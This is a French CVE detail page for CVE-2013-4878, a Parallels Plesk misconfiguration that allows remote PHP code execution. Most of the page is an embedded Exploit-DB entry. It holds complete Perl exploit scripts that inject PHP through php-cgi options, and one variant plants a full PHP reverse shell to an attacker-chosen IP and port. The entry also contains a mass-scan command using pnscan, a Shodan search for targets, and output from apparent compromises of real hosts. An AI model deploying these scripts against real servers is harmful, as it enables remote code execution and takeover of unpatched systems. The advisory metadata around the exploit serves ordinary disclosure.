CVE-2013-4878 : Détail

CVE-2013-4878

A01-Broken Access Control
6.32%V3
Network
2013-07-18
16h00 +00:00
2024-09-16
16h42 +00:00
CVE.org
NVD
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Descriptions du CVE

The default configuration of Parallels Plesk Panel 9.0.x and 9.2.x on UNIX, and Small Business Panel 10.x on UNIX, has an improper ScriptAlias directive for phppath, which makes it easier for remote attackers to execute arbitrary code via a crafted request, a different vulnerability than CVE-2012-1823.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 25986

Date de publication : 2013-06-04 22h00 +00:00
Auteur : kingcope
EDB Vérifié : Yes

Plesk Apache zeroday / June 2013 discovered & exploited by kingcope this Plesk configuration setting makes it possible: scriptAlias /phppath/ "/usr/bin/" Furthermore this is not cve-2012-1823 because the php interpreter is called directly. (no php file is called) Parallels Plesk Remote Exploit -- PHP Code Execution and therefore Command Execution Affected and tested: Plesk 9.5.4 Plesk 9.3 Plesk 9.2 Plesk 9.0 Plesk 8.6 Discovered & Exploited by Kingcope / June 2013 Affected and tested OS: RedHat, CentOS, Fedora Affected and tested Platforms: Linux i386, Linux x86_64 Untested OS: Windows (php.exe?) Unaffected: 11.0.9 due to compiled in protection of PHP version Traces in /var/log/httpd/access_log: 192.168.74.142 - - [19/Mar/2013:18:59:41 +0100] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69% 6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61% 62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65% 3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 200 203 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" Shodanhq overview of Plesk on Linux: http://www.shodanhq.com/search?q=plesklin perl plesk-simple.pl <ip address> ... ... ... OK Linux ip.unsecure.net 2.6.18-028stab101.1 #1 SMP Sun Jun 24 19:50:48 MSD 2012 i686 i686 i386 GNU/Linux uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv) --- ./pnscan -w"GET /phppath/php HTTP/1.0\r\n\r\n" -r "500 Internal" 76.12.54.163/16 80 perl plesk-simple.pl 76.12.81.206 HTTP/1.1 200 OK Date: Sat, 16 Mar 2013 13:39:35 GMT Server: Apache/2.2.3 (CentOS) Connection: close Transfer-Encoding: chunked Content-Type: text/html 77 Linux 114114.unsecureweb.com 2.6.18-308.24.1.el5 #1 SMP Tue Dec 4 17:43:34 E ST 2012 x86_64 x86_64 x86_64 GNU/Linux 3e uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv) 0 perl plesk-simple-ssl.pl <ip> (use HTTPS because HTTP gave an internal server error) HTTP/1.1 200 OK Date: Tue, 19 Mar 2013 15:29:28 GMT Server: Apache/2.0.54 (Fedora) Connection: close Transfer-Encoding: chunked Content-Type: text/html 3 OK 60 Linux www.ucdavis.edu 2.6.17-1.2142_FC4 #1 Tue Jul 11 22:41:14 EDT 2006 i686 i686 i386 GNU/Linux 4c uid=48(apache) gid=48(apache) groups=48(apache),500(webadmin),2522(psaserv) 0 use IO::Socket; use URI::Escape; $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => 80, Proto => 'tcp'); $pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>'; $arguments = uri_escape("-d","\0-\377"). "+" . uri_escape("allow_url_include=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("safe_mode=off","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("suhosin.simulation=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("disable_functions=\"\"","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("open_basedir=none","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("auto_prepend_file=php://input","\0-\377"). "+" . uri_escape("-n","\0-\377"); $path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377"); print $sock "POST /$path?$arguments HTTP/1.1\r\n" ."Host: $ARGV[0]\r\n" ."Content-Type: application/x-www-form-urlencoded\r\n" ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn; while(<$sock>) { print; } use IO::Socket::SSL; use URI::Escape; $sock = IO::Socket::SSL->new(PeerAddr => $ARGV[0], PeerPort => 443, Proto => 'tcp'); $pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>'; $arguments = uri_escape("-d","\0-\377"). "+" . uri_escape("allow_url_include=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("safe_mode=off","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("suhosin.simulation=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("disable_functions=\"\"","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("open_basedir=none","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("auto_prepend_file=php://input","\0-\377"). "+" . uri_escape("-n","\0-\377"); $path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377"); print $sock "POST /$path?$arguments HTTP/1.1\r\n" ."Host: $ARGV[0]\r\n" ."Content-Type: application/x-www-form-urlencoded\r\n" ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn; while(<$sock>) { print; } #CentOS/Redhat Linux: yum install perl-IO-Socket-SSL.noarch ############################################################################################################### plesk-simple-ssl.pl #plesk remote exploit by kingcope #all your base belongs to me :> use IO::Socket::SSL; use URI::Escape; $sock = IO::Socket::SSL->new(PeerAddr => $ARGV[0], PeerPort => 443, Proto => 'tcp'); $pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>'; $arguments = uri_escape("-d","\0-\377"). "+" . uri_escape("allow_url_include=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("safe_mode=off","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("suhosin.simulation=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("disable_functions=\"\"","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("open_basedir=none","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("auto_prepend_file=php://input","\0-\377"). "+" . uri_escape("-n","\0-\377"); $path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377"); print $sock "POST /$path?$arguments HTTP/1.1\r\n" ."Host: $ARGV[0]\r\n" ."User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n" ."Content-Type: application/x-www-form-urlencoded\r\n" ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn; while(<$sock>) { print; } #CentOS/Redhat Linux: yum install perl-IO-Socket-SSL.noarch ############################################################################################################### plesk-simple.pl #plesk remote exploit by kingcope #all your base belongs to me :> use IO::Socket; use URI::Escape; $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => 80, Proto => 'tcp'); $pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>'; $arguments = uri_escape("-d","\0-\377"). "+" . uri_escape("allow_url_include=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("safe_mode=off","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("suhosin.simulation=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("disable_functions=\"\"","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("open_basedir=none","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("auto_prepend_file=php://input","\0-\377"). "+" . uri_escape("-n","\0-\377"); $path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377"); print $sock "POST /$path?$arguments HTTP/1.1\r\n" ."Host: $ARGV[0]\r\n" ."User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n" ."Content-Type: application/x-www-form-urlencoded\r\n" ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn; while(<$sock>) { print; } ############################################################################################################### plesk.pl #plesk remote exploit by kingcope #all your base belongs to me :> use IO::Socket; use IO::Socket::SSL; use URI::Escape; sub usage { print "usage: $0 <target> <http/https> <local_ip> <local_port>\n";exit; } if (!defined($ARGV[3])){usage();} $target=$ARGV[0]; $proto=$ARGV[1]; if ($proto eq "http") { $sock = IO::Socket::INET->new( PeerAddr => $ARGV[0], PeerPort => 80, Proto => 'tcp'); }elsif ($proto eq "https") { $sock = IO::Socket::SSL->new( PeerAddr => $ARGV[0], PeerPort => 443, Proto => 'tcp'); }else {usage();} $lip=$ARGV[2]; $lport=$ARGV[3]; $pwn="<?php echo \"Content-Type: text/plain\r\n\r\n\";set_time_limit (0); \$VERSION = \"1.0\"; \$ip = '$lip'; \$port = $lport; \$chunk_size = 1400; \$write_a = null; \$error_a = null; \$shell = '/bin/sh -i'; \$daemon = 0;\$debug = 0; if (function_exists('pcntl_fork')) { \$pid = pcntl_fork(); if (\$pid == -1) { printit(\"ERROR: Can't fork\"); exit(1);} if (\$pid) { exit(0);} if (posix_setsid() == -1) { printit(\"Error: Can't setsid()\"); exit(1); } \$daemon = 1;} else { printit(\"WARNING: Failed to daemonise. This is quite common and not fatal.\");}chdir(\"/\"); umask(0); \$sock = fsockopen(\$ip, \$port, \$errno, \$errstr, 30);if (!\$sock) { printit(\"\$errstr (\$errno)\"); exit(1);} \$descriptorspec = array(0 => array(\"pipe\", \"r\"),1 => array(\"pipe\", \"w\"), 2 => array(\"pipe\", \"w\"));\$process = proc_open(\$shell, \$descriptorspec, \$pipes);if (!is_resource(\$process)) { printit(\"ERROR: Can't spawn shell\"); exit(1);}stream_set_blocking(\$pipes[0], 0);stream_set_blocking(\$pipes[1], 0);stream_set_blocking(\$pipes[2], 0);stream_set_blocking(\$sock, 0);while (1) { if (feof(\$sock)) { printit(\"done.\"); break;} if (feof(\$pipes[1])) {printit(\"done.\");break;}\$read_a = array(\$sock, \$pipes[1], \$pipes[2]);\$num_changed_sockets = stream_select(\$read_a, \$write_a, \$error_a, null);if (in_array(\$sock, \$read_a)) {if (\$debug) printit(\"SOCK READ\");\$input = fread(\$sock, \$chunk_size);if(\$debug) printit(\"SOCK: \$input\");fwrite(\$pipes[0], \$input);}if (in_array(\$pipes[1], \$read_a)) {if (\$debug) printit(\"STDOUT READ\");\$input = fread(\$pipes[1], \$chunk_size);if (\$debug) printit(\"STDOUT: \$input\");fwrite(\$sock, \$input);}if (in_array(\$pipes[2], \$read_a)) {if (\$debug) printit(\"STDERR READ\");\$input = fread(\$pipes[2], \$chunk_size); if (\$debug) printit(\"STDERR: \$input\");fwrite(\$sock, \$input);}}fclose(\$sock);fclose(\$pipes[0]);fclose(\$pipes[1]);fclose(\$pipes[2]);proc_close(\$process);function printit (\$string) {if (!\$daemon) {print \"\$string\n\";}} ?>"; $arguments=uri_escape("-d","\0-\377"). "+" . uri_escape("allow_url_include=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("safe_mode=off","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("suhosin.simulation=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("disable_functions=\"\"","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("open_basedir=none","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("auto_prepend_file=php://input","\0-\377"). "+" . uri_escape("-n","\0-\377"); $path=uri_escape("phppath","\0-\377"). "/" . uri_escape("php","\0-\377"); print $sock "POST /$path?$arguments HTTP/1.1\r\n". "Host: $ARGV[0]\r\n". "User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n". "Content-Type: text/plain\r\n". "Content-Length: ". length($pwn) ."\r\n\r\n". $pwn; while(<$sock>){print $_;}; ###############################################################################################################

Products Mentioned

Configuraton 0

Parallels>>Parallels_plesk_panel >> Version 9.0

Parallels>>Parallels_plesk_panel >> Version 9.2

Parallels>>Parallels_small_business_panel >> Version 10.0

    Linux>>Linux_kernel >> Version *

    Références

    http://seclists.org/fulldisclosure/2013/Jun/21
    Tags : mailing-list, x_refsource_FULLDISC
    http://www.kb.cert.org/vuls/id/673343
    Tags : third-party-advisory, x_refsource_CERT-VN
    http://kb.parallels.com/116241
    Tags : x_refsource_CONFIRM